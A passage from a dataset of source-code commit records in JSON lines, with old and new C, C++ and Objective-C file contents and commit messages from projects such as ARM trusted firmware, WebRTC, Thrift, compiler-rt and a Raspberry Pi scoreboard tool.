<38b52dbb5f0b63d149982b6c5de788ec93a89032@linux-sh.org>\n","lang":"C","license":"mit","repos":"KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs,KristFoundation\/Programs,TeamVee-Kanas\/android_kernel_samsung_kanas,KristFoundation\/Programs"}
{"commit":"d9b05e6ae11c5f17590d493ef7bff52239bed3bb","old_file":"test2\/type_propagation\/expr_if_noreturn.c","new_file":"test2\/type_propagation\/expr_if_noreturn.c","old_contents":"\/\/ RUN: %ocheck 0 %s\n\n_Noreturn void exit(int);\nvoid g(int i)\n{\n}\n\nint f(int p)\n{\n\t(p == 5 ? exit : g)(2);\n\n\t\/\/ this shouldn't be thought of as unreachable\n\treturn 7;\n}\n\nmain()\n{\n\tf(4);\n\treturn 0;\n}\n","new_contents":"\/\/ RUN: %ucc -fsyntax-only %s\n\n_Noreturn void exit(int);\n__attribute((noreturn)) void exit2(int);\nvoid g(int i);\n\n_Static_assert(\n\t\t!__builtin_has_attribute(g, noreturn),\n\t\t\"\");\n\n_Static_assert(\n\t\t__builtin_has_attribute(exit, noreturn),\n\t\t\"\");\n\n_Static_assert(\n\t\t__builtin_has_attribute(exit2, noreturn),\n\t\t\"\");\n\n_Static_assert(\n\t\t!__builtin_has_attribute(\n\t\t\t(1 ? exit : g),\n\t\t\tnoreturn),\n\t\t\"\");\n\n_Static_assert(\n\t\t!__builtin_has_attribute(\n\t\t\t(1 ? exit2 : g),\n\t\t\tnoreturn),\n\t\t\"\");\n","subject":"Change noreturn attribute tests into static asserts","message":"Change noreturn attribute tests into static asserts\n","lang":"C","license":"mit","repos":"bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler,bobrippling\/ucc-c-compiler"}
{"commit":"46b69e3de1b7817f4d8ed46fe1975f4bf630f0ec","old_file":"plat\/arm\/common\/arm_err.c","new_file":"plat\/arm\/common\/arm_err.c","old_contents":"\/*\n * Copyright (c) 2015-2018, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <arch_helpers.h>\n#include <board_arm_def.h>\n#include <console.h>\n#include <debug.h>\n#include <errno.h>\n#include <norflash.h>\n#include <platform.h>\n#include <stdint.h>\n\n\/*\n * ARM common implementation for error handler\n *\/\nvoid plat_error_handler(int err)\n{\n\tint ret;\n\n\tswitch (err) {\n\tcase -ENOENT:\n\tcase -EAUTH:\n\t\t\/* Image load or authentication error. Erase the ToC *\/\n\t\tINFO(\"Erasing FIP ToC from flash...\\n\");\n\t\tnor_unlock(PLAT_ARM_FIP_BASE);\n\t\tret = nor_word_program(PLAT_ARM_FIP_BASE, 0);\n\t\tif (ret != 0) {\n\t\t\tERROR(\"Cannot erase ToC\\n\");\n\t\t} else {\n\t\t\tINFO(\"Done\\n\");\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\t\/* Unexpected error *\/\n\t\tbreak;\n\t}\n\n\t(void)console_flush();\n\n\t\/* Loop until the watchdog resets the system *\/\n\tfor (;;)\n\t\twfi();\n}\n","new_contents":"\/*\n * Copyright (c) 2015-2018, ARM Limited and Contributors. All rights reserved.\n *\n * SPDX-License-Identifier: BSD-3-Clause\n *\/\n\n#include <arch_helpers.h>\n#include <console.h>\n#include <debug.h>\n#include <errno.h>\n#include <norflash.h>\n#include <platform.h>\n#include <platform_def.h>\n#include <stdint.h>\n\n\/*\n * ARM common implementation for error handler\n *\/\nvoid plat_error_handler(int err)\n{\n\tint ret;\n\n\tswitch (err) {\n\tcase -ENOENT:\n\tcase -EAUTH:\n\t\t\/* Image load or authentication error. Erase the ToC *\/\n\t\tINFO(\"Erasing FIP ToC from flash...\\n\");\n\t\tnor_unlock(PLAT_ARM_FIP_BASE);\n\t\tret = nor_word_program(PLAT_ARM_FIP_BASE, 0);\n\t\tif (ret != 0) {\n\t\t\tERROR(\"Cannot erase ToC\\n\");\n\t\t} else {\n\t\t\tINFO(\"Done\\n\");\n\t\t}\n\t\tbreak;\n\tdefault:\n\t\t\/* Unexpected error *\/\n\t\tbreak;\n\t}\n\n\t(void)console_flush();\n\n\t\/* Loop until the watchdog resets the system *\/\n\tfor (;;)\n\t\twfi();\n}\n","subject":"Include board_arm_def.h through the platform's header","message":"Include board_arm_def.h through the platform's header\n\nThe board_arm_def.h header file needs to be included via the platform\ndefinition header. Not doing so, results in a redefinition error of\nPLAT_ARM_MAX_BL31_SIZE macro, if defined in the platform definition\nfile.\n\nChange-Id: I1d178f6e8a6a41461e7fbcab9f6813a2faa2d82b\nSigned-off-by: Sughosh Ganu <89c5e32bab4ac30865936b46fb918f58cd11fd98@arm.com>\n","lang":"C","license":"bsd-3-clause","repos":"achingupta\/arm-trusted-firmware,achingupta\/arm-trusted-firmware"}
{"commit":"aae7b4f35980df99477fb0ad43995610bc9a0b60","old_file":"Clue\/Classes\/Protocols\/CLUViewRecordableProperties.h","new_file":"Clue\/Classes\/Protocols\/CLUViewRecordableProperties.h","old_contents":"","new_contents":"\/\/\n\/\/  CLUViewRecordableProperties.h\n\/\/  Clue\n\/\/\n\/\/  Created by Ahmed Sulaiman on 5\/27\/16.\n\/\/  Copyright © 2016 Ahmed Sulaiman. All rights reserved.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\n@protocol CLUViewRecordableProperties <NSObject>\n\n@required\n- (NSMutableDictionary *)clue_viewPropertiesDictionary;\n\n@end\n","subject":"Add protocol for view to return readable properties dictionary (CLURecordableProperties) for View Structure recordable module","message":"Add protocol for view to return readable properties dictionary (CLURecordableProperties) for View Structure recordable module\n","lang":"C","license":"mit","repos":"Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue,Geek-1001\/Clue"}
{"commit":"e4be4b7b996cc7fb279d74b5001ab0817b22b6c4","old_file":"audio\/null_audio_poller.h","new_file":"audio\/null_audio_poller.h","old_contents":"\/*\n *  Copyright (c) 2017 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef AUDIO_NULL_AUDIO_POLLER_H_\n#define AUDIO_NULL_AUDIO_POLLER_H_\n\n#include \"modules\/audio_device\/include\/audio_device_defines.h\"\n#include \"rtc_base\/messagehandler.h\"\n#include \"rtc_base\/thread_checker.h\"\n\nnamespace webrtc {\nnamespace internal {\n\nclass NullAudioPoller final : public rtc::MessageHandler {\n public:\n  explicit NullAudioPoller(AudioTransport* audio_transport);\n  ~NullAudioPoller();\n\n protected:\n  void OnMessage(rtc::Message* msg) override;\n\n private:\n  rtc::ThreadChecker thread_checker_;\n  AudioTransport* const audio_transport_;\n  int64_t reschedule_at_;\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace webrtc\n\n#endif  \/\/ AUDIO_NULL_AUDIO_POLLER_H_\n","new_contents":"\/*\n *  Copyright (c) 2017 The WebRTC project authors. All Rights Reserved.\n *\n *  Use of this source code is governed by a BSD-style license\n *  that can be found in the LICENSE file in the root of the source\n *  tree. An additional intellectual property rights grant can be found\n *  in the file PATENTS.  All contributing project authors may\n *  be found in the AUTHORS file in the root of the source tree.\n *\/\n\n#ifndef AUDIO_NULL_AUDIO_POLLER_H_\n#define AUDIO_NULL_AUDIO_POLLER_H_\n\n#include \"modules\/audio_device\/include\/audio_device_defines.h\"\n#include \"rtc_base\/messagehandler.h\"\n#include \"rtc_base\/thread_checker.h\"\n\nnamespace webrtc {\nnamespace internal {\n\nclass NullAudioPoller final : public rtc::MessageHandler {\n public:\n  explicit NullAudioPoller(AudioTransport* audio_transport);\n  ~NullAudioPoller();\n\n protected:\n  void OnMessage(rtc::Message* msg) override;\n\n private:\n  const rtc::ThreadChecker thread_checker_;\n  AudioTransport* const audio_transport_;\n  int64_t reschedule_at_;\n};\n\n}  \/\/ namespace internal\n}  \/\/ namespace webrtc\n\n#endif  \/\/ AUDIO_NULL_AUDIO_POLLER_H_\n","subject":"Revert \"Remove const from ThreadChecker in NullAudioPoller.\"","message":"Revert \"Remove const from ThreadChecker in NullAudioPoller.\"\n\nThis reverts commit 54e41dd08a06f978a6d123f19f5bbe39370f04ea.\n\nReason for revert: We are reverting also https:\/\/webrtc-review.googlesource.com\/c\/src\/+\/16180, so this CL will be included in the re-land of https:\/\/webrtc-review.googlesource.com\/c\/src\/+\/16180.\n\nOriginal change's description:\n> Remove const from ThreadChecker in NullAudioPoller.\n> \n> TBR=henrika@webrtc.org,solenberg@webrtc.org\n> \n> Bug: webrtc:8482\n> Change-Id: Ib2738224e776618c692db95cd9473335bc17be15\n> Reviewed-on: https:\/\/webrtc-review.googlesource.com\/17540\n> Commit-Queue: Björn Terelius <terelius@webrtc.org>\n> Reviewed-by: Björn Terelius <terelius@webrtc.org>\n> Cr-Commit-Position: refs\/heads\/master@{#20505}\n\nTBR=terelius@webrtc.org\n\nChange-Id: I27c70ce331043ffdfec676c7e1a51e741d2fe770\nNo-Presubmit: true\nNo-Tree-Checks: true\nNo-Try: true\nBug: webrtc:8482\nReviewed-on: https:\/\/webrtc-review.googlesource.com\/17700\nReviewed-by: Mirko Bonadei <d2c43c210eae6feef04f53bae50885e8152edcca@webrtc.org>\nCommit-Queue: Mirko Bonadei <d2c43c210eae6feef04f53bae50885e8152edcca@webrtc.org>\nCr-Commit-Position: 972c6d2dc6dd5efdad1377c0d224e03eb8f276f7@{#20511}","lang":"C","license":"bsd-3-clause","repos":"ShiftMediaProject\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,ShiftMediaProject\/libilbc,TimothyGu\/libilbc,TimothyGu\/libilbc"}
{"commit":"3759e834f356d5de1f047d85d18ab401d653a7d5","old_file":"source\/Loader.h","new_file":"source\/Loader.h","old_contents":"#include <string>\n#include <fstream>\n\n#ifndef LOADER\n#define LOADER\n\nnamespace lyrics\n{\n\tusing std::string;\n\tusing std::istream;\n\n\tclass Loader\n\t{\n\tpublic:\n\t\tbool Load( const string name, char *&data, unsigned int &size )\n\t\t{\n\t\t\tusing std::ifstream;\n\t\t\tusing std::ios;\n\t\t\tusing std::ios_base;\n\n\t\t\tifstream input( name, ios::in | ios::binary );\n\n\t\t\tif ( !input )\n\t\t\t{\n\t\t\t\t\/\/ TODO:\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tif ( !IStreamSize( input, size ) )\n\t\t\t{\n\t\t\t\t\/\/ TODO:\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tdata = new char [size];\n\t\t\tif ( data == nullptr )\n\t\t\t{\n\t\t\t\t\/\/ TODO:\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tinput.read( data , size );\n\t\t\tinput.close();\n\n\t\t\treturn true;\n\t\t}\n\t\n\tprivate:\n\t\tbool IStreamSize( istream &input, unsigned int &size )\n\t\t{\n\t\t\tusing std::ios_base;\n\t\t\tusing std::streamoff;\n\n\t\t\tstreamoff off;\n\n\t\t\tinput.seekg( 0, ios_base::end );\n\t\t\toff = input.tellg();\n\t\t\tinput.seekg( 0, ios_base::beg );\n\n\t\t\tif ( off == -1 )\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tsize = off;\n\n\t\t\treturn true;\n\t\t}\n\t};\n}\n\n#endif\n","new_contents":"#include <string>\n#include <fstream>\n\n#ifndef LOADER\n#define LOADER\n\nnamespace lyrics\n{\n\tusing std::string;\n\tusing std::istream;\n\n\tclass Loader\n\t{\n\tpublic:\n\t\tbool Load( const string name, char *&data, unsigned int &size )\n\t\t{\n\t\t\tusing std::ifstream;\n\t\t\tusing std::ios;\n\t\t\tusing std::ios_base;\n\n\t\t\tifstream input( name, ios::in | ios::binary );\n\n\t\t\tif ( !input )\n\t\t\t{\n\t\t\t\t\/\/ TODO:\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tif ( !IStreamSize( input, size ) )\n\t\t\t{\n\t\t\t\t\/\/ TODO:\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tdata = new char [size];\n\t\t\tif ( data == nullptr )\n\t\t\t{\n\t\t\t\t\/\/ TODO:\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tinput.read( data , size );\n\t\t\tinput.close();\n\n\t\t\treturn true;\n\t\t}\n\t\n\tprivate:\n\t\tbool IStreamSize( istream &input, unsigned int &size )\n\t\t{\n\t\t\tusing std::ios_base;\n\n\t\t\tinput.seekg( 0, ios_base::end );\n\t\t\tauto off = input.tellg();\n\t\t\tinput.seekg( 0, ios_base::beg );\n\n\t\t\tif ( off == decltype( off )( -1 ) )\n\t\t\t{\n\t\t\t\treturn false;\n\t\t\t}\n\n\t\t\tsize = off;\n\n\t\t\treturn true;\n\t\t}\n\t};\n}\n\n#endif\n","subject":"Return type of tellg() is implementation defined","message":"Return type of tellg() is implementation defined\n","lang":"C","license":"artistic-2.0","repos":"fullnessfruit\/Lyrics"}
{"commit":"4430925e23e7f2f38b89047512461eb08a520b2c","old_file":"ATK\/Dynamic\/GainExpanderFilter.h","new_file":"ATK\/Dynamic\/GainExpanderFilter.h","old_contents":"\/**\n * \\file GainExpanderFilter.h\n *\/\n\n#ifndef ATK_DYNAMIC_GAINEXPANDERFILTER_H\n#define ATK_DYNAMIC_GAINEXPANDERFILTER_H\n\n#include <vector>\n\n#include <ATK\/Dynamic\/GainFilter.h>\n#include \"config.h\"\n\nnamespace ATK\n{\n  \/**\n   * Gain \"expander\". Computes a new amplitude\/volume gain based on threshold, slope and the power of the input signal\n   *\/\n  template<typename DataType_>\n  class ATK_DYNAMIC_EXPORT GainExpanderFilter : public GainFilter<DataType_>\n  {\n  protected:\n    typedef GainFilter<DataType_> Parent;\n    using typename Parent::DataType;\n    using Parent::ratio;\n    using Parent::softness;\n    using Parent::recomputeFuture;\n    using Parent::recomputeLUT;\n\n  public:\n    GainExpanderFilter(int nb_channels = 1, size_t LUTsize = 128*1024, size_t LUTprecision = 64);\n    ~GainExpanderFilter();\n\n  protected:\n    DataType_ computeGain(DataType_ value) const override final;\n  };\n}\n\n#endif\n","new_contents":"\/**\n * \\file GainExpanderFilter.h\n *\/\n\n#ifndef ATK_DYNAMIC_GAINEXPANDERFILTER_H\n#define ATK_DYNAMIC_GAINEXPANDERFILTER_H\n\n#include <vector>\n\n#include <ATK\/Dynamic\/GainFilter.h>\n#include \"config.h\"\n\nnamespace ATK\n{\n  \/**\n   * Gain \"expander\". Computes a new amplitude\/volume gain based on threshold, slope and the power of the input signal\n   *\/\n  template<typename DataType_>\n  class ATK_DYNAMIC_EXPORT GainExpanderFilter : public GainFilter<DataType_>\n  {\n  protected:\n    typedef GainFilter<DataType_> Parent;\n    using typename Parent::DataType;\n    using Parent::ratio;\n    using Parent::softness;\n    using Parent::recomputeFuture;\n    using Parent::recomputeLUT;\n\n  public:\n    GainExpanderFilter(int nb_channels = 1, size_t LUTsize = 128*1024, size_t LUTprecision = 1024);\n    ~GainExpanderFilter();\n\n  protected:\n    DataType_ computeGain(DataType_ value) const override final;\n  };\n}\n\n#endif\n","subject":"Fix default LUT size and precision for expander","message":"Fix default LUT size and precision for expander\n","lang":"C","license":"bsd-3-clause","repos":"mbrucher\/AudioTK,mbrucher\/AudioTK,mbrucher\/AudioTK,mbrucher\/AudioTK"}
{"commit":"8732619871bdd054e80e53b3adaa563bf4cb26d9","old_file":"thrift\/lib\/cpp2\/security\/FizzPeeker.h","new_file":"thrift\/lib\/cpp2\/security\/FizzPeeker.h","old_contents":"","new_contents":"\/*\n * Copyright 2014-present Facebook, Inc.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *   http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\/\n#pragma once\n\n#include <thrift\/lib\/cpp\/async\/TAsyncFizzServer.h>\n#include <wangle\/acceptor\/FizzAcceptorHandshakeHelper.h>\n\nnamespace apache {\nnamespace thrift {\n\nclass ThriftFizzAcceptorHandshakeHelper\n    : public wangle::FizzAcceptorHandshakeHelper {\n public:\n  using FizzAcceptorHandshakeHelper::FizzAcceptorHandshakeHelper;\n\n protected:\n  fizz::server::AsyncFizzServer::UniquePtr createFizzServer(\n      folly::AsyncSSLSocket::UniquePtr sslSock,\n      const std::shared_ptr<fizz::server::FizzServerContext>& fizzContext,\n      const std::shared_ptr<fizz::ServerExtensions>& \/*extensions*\/) override {\n    folly::AsyncSocket::UniquePtr asyncSock(\n      new apache::thrift::async::TAsyncSocket(std::move(sslSock)));\n    asyncSock->cacheAddresses();\n    return fizz::server::AsyncFizzServer::UniquePtr(\n        new apache::thrift::async::TAsyncFizzServer(\n            std::move(asyncSock), fizzContext, extension_));\n  }\n\n  folly::AsyncSSLSocket::UniquePtr createSSLSocket(\n      const std::shared_ptr<folly::SSLContext>& sslContext,\n      folly::EventBase* evb,\n      int fd) override {\n    return folly::AsyncSSLSocket::UniquePtr(\n        new apache::thrift::async::TAsyncSSLSocket(\n          sslContext,\n          evb,\n          fd));\n  }\n};\n\nclass FizzPeeker : public wangle::DefaultToFizzPeekingCallback {\n public:\n  using DefaultToFizzPeekingCallback::DefaultToFizzPeekingCallback;\n\n  wangle::AcceptorHandshakeHelper::UniquePtr getHelper(\n      const std::vector<uint8_t>& \/* bytes *\/,\n      const folly::SocketAddress& clientAddr,\n      std::chrono::steady_clock::time_point acceptTime,\n      wangle::TransportInfo& tinfo) override {\n    if (!context_) {\n      return nullptr;\n    }\n    return wangle::AcceptorHandshakeHelper::UniquePtr(\n        new ThriftFizzAcceptorHandshakeHelper(context_,\n                                              clientAddr,\n                                              acceptTime,\n                                              tinfo,\n                                              loggingCallback_,\n                                              tokenBindingContext_));\n  }\n};\n} \/\/ namespace thrift\n} \/\/ namespace apache\n","subject":"Add fizz peeker to thrift","message":"Add fizz peeker to thrift\n\nSummary: Support fizz in `Cpp2Worker`; this is one step in the process.\n\nReviewed By: yfeldblum\n\nDifferential Revision: D10246496\n\nfbshipit-source-id: 2f655ff49641a91338d2e0e2ab362886754f2ec2\n","lang":"C","license":"apache-2.0","repos":"facebook\/fbthrift,facebook\/fbthrift,facebook\/fbthrift,facebook\/fbthrift,facebook\/fbthrift,facebook\/fbthrift,facebook\/fbthrift,facebook\/fbthrift,facebook\/fbthrift"}
{"commit":"daaf5d744b26d5ead5c1dce175efbc0603f70655","old_file":"csrc\/main.c","new_file":"csrc\/main.c","old_contents":"","new_contents":"\/**\n * Main Program to shutdown the raspberry pi. This process needs to be run as root to allow this.\n * All this program does is to run the shutdown command. If the process has the setuid bit enabled and belongs to root this should work.\n *\/\n\n#include <stdio.h>\n#include <sys\/types.h>\n#include <unistd.h>\n#include <stdlib.h>\n\nint main()\n{\n\t\/* Disable output *\/\n\tsystem(\"i2cset -y 1 0x10 0x07 0x20\");\n\tsystem(\"i2cset -y 1 0x10 0x08 0x20\");\n\t\n\tsystem(\"i2cset -y 1 0x11 0x07 0x20\");\n\tsystem(\"i2cset -y 1 0x11 0x08 0x20\");\n\n\tsystem(\"i2cset -y 1 0x12 0x07 0x20\");\n\tsystem(\"i2cset -y 1 0x12 0x08 0x20\");\n\n\tsystem(\"i2cset -y 1 0x13 0x07 0x20\");\n\tsystem(\"i2cset -y 1 0x13 0x08 0x20\");\n\n\t\/* Shutdown *\/\n\tsystem(\"shutdown -h -P now\");\n}\n\n","subject":"Add c program for shutting down the board.","message":"Add c program for shutting down the board.\n\nThe program disables the output and then shuts down the system\n","lang":"C","license":"mit","repos":"bigdisp\/scoreboard-php-api,bigdisp\/scoreboard-php-api,bigdisp\/scoreboard-php-api,bigdisp\/scoreboard-php-api"}
{"commit":"ed49a4fc89281608f41bebd3d09b8e0e1f2ea4c8","old_file":"Classes\/Network\/PonyDebugger\/FLEXNetworkObserver.h","new_file":"Classes\/Network\/PonyDebugger\/FLEXNetworkObserver.h","old_contents":"\/\/\n\/\/  FLEXNetworkObserver.h\n\/\/  Derived from:\n\/\/\n\/\/  PDAFNetworkDomainController.h\n\/\/  PonyDebugger\n\/\/\n\/\/  Created by Mike Lewis on 2\/27\/12.\n\/\/\n\/\/  Licensed to Square, Inc. under one or more contributor license agreements.\n\/\/  See the LICENSE file distributed with this work for the terms under\n\/\/  which Square, Inc. licenses this file to you.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nextern NSString *const kFLEXNetworkObserverEnabledStateChangedNotification;\n\n\/\/\/ This class swizzles NSURLConnection and NSURLSession delegate methods to observe events in the URL loading system.\n\/\/\/ High level network events are sent to the default FLEXNetworkRecorder instance which maintains the request history and caches response bodies.\n@interface FLEXNetworkObserver : NSObject\n\n\/\/\/ Swizzling occurs when the observer is enabled for the first time.\n\/\/\/ This reduces the impact of FLEX if network debugging is not desired.\n\/\/\/ NOTE: this setting persists between launches of the app.\n+ (void)setEnabled:(BOOL)enabled;\n+ (BOOL)isEnabled;\n\n@end\n","new_contents":"\/\/\n\/\/  FLEXNetworkObserver.h\n\/\/  Derived from:\n\/\/\n\/\/  PDAFNetworkDomainController.h\n\/\/  PonyDebugger\n\/\/\n\/\/  Created by Mike Lewis on 2\/27\/12.\n\/\/\n\/\/  Licensed to Square, Inc. under one or more contributor license agreements.\n\/\/  See the LICENSE file distributed with this work for the terms under\n\/\/  which Square, Inc. licenses this file to you.\n\/\/\n\n#import <Foundation\/Foundation.h>\n\nFOUNDATION_EXTERN NSString *const kFLEXNetworkObserverEnabledStateChangedNotification;\n\n\/\/\/ This class swizzles NSURLConnection and NSURLSession delegate methods to observe events in the URL loading system.\n\/\/\/ High level network events are sent to the default FLEXNetworkRecorder instance which maintains the request history and caches response bodies.\n@interface FLEXNetworkObserver : NSObject\n\n\/\/\/ Swizzling occurs when the observer is enabled for the first time.\n\/\/\/ This reduces the impact of FLEX if network debugging is not desired.\n\/\/\/ NOTE: this setting persists between launches of the app.\n+ (void)setEnabled:(BOOL)enabled;\n+ (BOOL)isEnabled;\n\n@end\n","subject":"Use FOUNDATION_EXTERN for global variable","message":"Use FOUNDATION_EXTERN for global variable\n\nGlobal variables that can be accessed from both C (or Objective-C) and\nC++ (or Objective-C++) source files should be marked `extern \"C\"` when\nin C++ mode (which is what `FOUNDATION_EXTERN` does), to ensure\nconsistent access across languages.\n","lang":"C","license":"bsd-3-clause","repos":"Flipboard\/FLEX,NSExceptional\/FLEX,Xiaobin0860\/FLEX,Flipboard\/FLEX,NSExceptional\/FLEX"}
{"commit":"01b2b933f6ec5dcfa72db6c3d338bbdeaf518f92","old_file":"test\/include\/scheduler_mock.h","new_file":"test\/include\/scheduler_mock.h","old_contents":"\/**\n * @file testUtils.h\n * @author Konrad Zemek\n * @copyright (C) 2014 ACK CYFRONET AGH\n * @copyright This software is released under the MIT license cited in 'LICENSE.txt'\n *\/\n\n#ifndef VEILHELPERS_SCHEDULER_MOCK_H\n#define VEILHELPERS_SCHEDULER_MOCK_H\n\n\n#include \"scheduler.h\"\n\n#include <gmock\/gmock.h>\n\nclass MockScheduler: public veil::Scheduler\n{\npublic:\n    MockScheduler()\n        : veil::Scheduler{0}\n    {\n    }\n\n    MOCK_METHOD1(post, void(const std::function<void()>&));\n    MOCK_METHOD2(schedule, std::function<void()>(const std::chrono::milliseconds,\n                                                 std::function<void()>));\n};\n\n\n#endif \/\/ VEILHELPERS_SCHEDULER_MOCK_H\n","new_contents":"\/**\n * @file testUtils.h\n * @author Konrad Zemek\n * @copyright (C) 2014 ACK CYFRONET AGH\n * @copyright This software is released under the MIT license cited in 'LICENSE.txt'\n *\/\n\n#ifndef ONEHELPERS_SCHEDULER_MOCK_H\n#define ONEHELPERS_SCHEDULER_MOCK_H\n\n\n#include \"scheduler.h\"\n\n#include <gmock\/gmock.h>\n\nclass MockScheduler: public one::Scheduler\n{\npublic:\n    MockScheduler()\n        : one::Scheduler{0}\n    {\n    }\n\n    MOCK_METHOD1(post, void(const std::function<void()>&));\n    MOCK_METHOD2(schedule, std::function<void()>(const std::chrono::milliseconds,\n                                                 std::function<void()>));\n};\n\n\n#endif \/\/ ONEHELPERS_SCHEDULER_MOCK_H\n","subject":"Rename namespaces in scheduler mock.","message":"Rename namespaces in scheduler mock.\n\n\nFormer-commit-id: 9f4df2e43ea192309775d59d00e2a0e2179b8664","lang":"C","license":"mit","repos":"onedata\/oneclient,onedata\/oneclient,onedata\/helpers,onedata\/helpers,onedata\/oneclient,onedata\/oneclient"}
{"commit":"da8596b60b1c90a870c9610c2cef7f06a03b6cdc","old_file":"SDKs\/darwin\/usr\/include\/string.h","new_file":"SDKs\/darwin\/usr\/include\/string.h","old_contents":"\/* ===-- string.h - stub SDK header for compiler-rt -------------------------===\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is dual licensed under the MIT and the University of Illinois Open\n * Source Licenses. See LICENSE.TXT for details.\n *\n * ===-----------------------------------------------------------------------===\n *\n * This is a stub SDK header file. This file is not part of the interface of\n * this library nor an official version of the appropriate SDK header. It is\n * intended only to stub the features of this header required by compiler-rt.\n *\n * ===-----------------------------------------------------------------------===\n *\/\n\n#ifndef __STRING_H__\n#define __STRING_H__\n\ntypedef __SIZE_TYPE__ size_t;\n\nint memcmp(const void *, const void *, size_t);\nvoid *memcpy(void *, const void *, size_t);\nvoid *memset(void *, int, size_t);\nchar *strcat(char *, const char *);\nchar *strcpy(char *, const char *);\nchar *strdup(const char *);\nsize_t strlen(const char *);\nchar *strncpy(char *, const char *, size_t);\n\n#endif \/* __STRING_H__ *\/\n","new_contents":"\/* ===-- string.h - stub SDK header for compiler-rt -------------------------===\n *\n *                     The LLVM Compiler Infrastructure\n *\n * This file is dual licensed under the MIT and the University of Illinois Open\n * Source Licenses. See LICENSE.TXT for details.\n *\n * ===-----------------------------------------------------------------------===\n *\n * This is a stub SDK header file. This file is not part of the interface of\n * this library nor an official version of the appropriate SDK header. It is\n * intended only to stub the features of this header required by compiler-rt.\n *\n * ===-----------------------------------------------------------------------===\n *\/\n\n#ifndef __STRING_H__\n#define __STRING_H__\n\ntypedef __SIZE_TYPE__ size_t;\n\nint memcmp(const void *, const void *, size_t);\nvoid *memcpy(void *, const void *, size_t);\nvoid *memset(void *, int, size_t);\nchar *strcat(char *, const char *);\nchar *strcpy(char *, const char *);\nchar *strdup(const char *);\nsize_t strlen(const char *);\nchar *strncpy(char *, const char *, size_t);\n\n\/* Determine the appropriate strerror() function. *\/\n#if defined(__ENVIRONMENT_MAC_OS_X_VERSION_MIN_REQUIRED__)\n#  if defined(__i386)\n#    define __STRERROR_NAME  \"_strerror$UNIX2003\"\n#  elif defined(__x86_64__) || defined(__arm)\n#    define __STRERROR_NAME  \"_strerror\"\n#  else\n#    error \"unrecognized architecture for targetting OS X\"\n#  endif\n#elif defined(__ENVIRONMENT_IPHONE_OS_VERSION_MIN_REQUIRED__)\n#  if defined(__i386) || defined (__x86_64) || defined(__arm)\n#    define __STRERROR_NAME  \"_strerror\"\n#  else\n#    error \"unrecognized architecture for targetting iOS\"\n#  endif\n#else\n#  error \"unrecognized architecture for targetting Darwin\"\n#endif\n\nchar *strerror(int) __asm(__STRERROR_NAME);\n\n#endif \/* __STRING_H__ *\/\n","subject":"Declare 'strerror' so that we can use it with errno.","message":"Declare 'strerror' so that we can use it with errno.\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@185105 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"4145de6df7bd46ab56c4be5edb302c0f52a26d63","old_file":"broadcaster.c","new_file":"broadcaster.c","old_contents":"","new_contents":"#include <arpa\/inet.h>\n#include <errno.h>\n#include <sys\/socket.h>\n#include <stdarg.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <netinet\/in.h>\n#include <unistd.h>\n\n#define BROADCAST_ADDRESS \"255.255.255.255\"\n\nvoid print_error(const char* message) {\n    size_t message_length = strlen(message);\n    char error_message[message_length + 7];\n    strcpy(error_message, message);\n    strcpy(error_message + message_length, \" (%s)\\n\");\n    fprintf(stderr, error_message, strerror(errno));\n}\n\nint main() {\n    int broadcasting_socket = socket(PF_INET, SOCK_DGRAM, 0);\n    if (broadcasting_socket == -1) {\n        print_error(\"Failed to create broadcasting socket\");\n        exit(1);\n    }\n\n    int turn_on_broadcasting = 1;\n    int setsockopt_status = setsockopt(broadcasting_socket, SOL_SOCKET, SO_BROADCAST,\n        &turn_on_broadcasting, sizeof(turn_on_broadcasting));\n    if (setsockopt_status == -1) {\n        print_error(\"Failed to turn on broadcasting on\");\n    }\n\n    struct sockaddr_in broadcast_address;\n    int broadcast_port = 54545;\n\n    memset(&broadcast_address, 0, sizeof(broadcast_address));\n    broadcast_address.sin_family = AF_INET;\n    broadcast_address.sin_addr.s_addr = inet_addr(BROADCAST_ADDRESS);\n    broadcast_address.sin_port = htons(broadcast_port);\n\n    ssize_t sent_bytes_count = sendto(broadcasting_socket, \"\", 1, 0,\n        (struct sockaddr*) 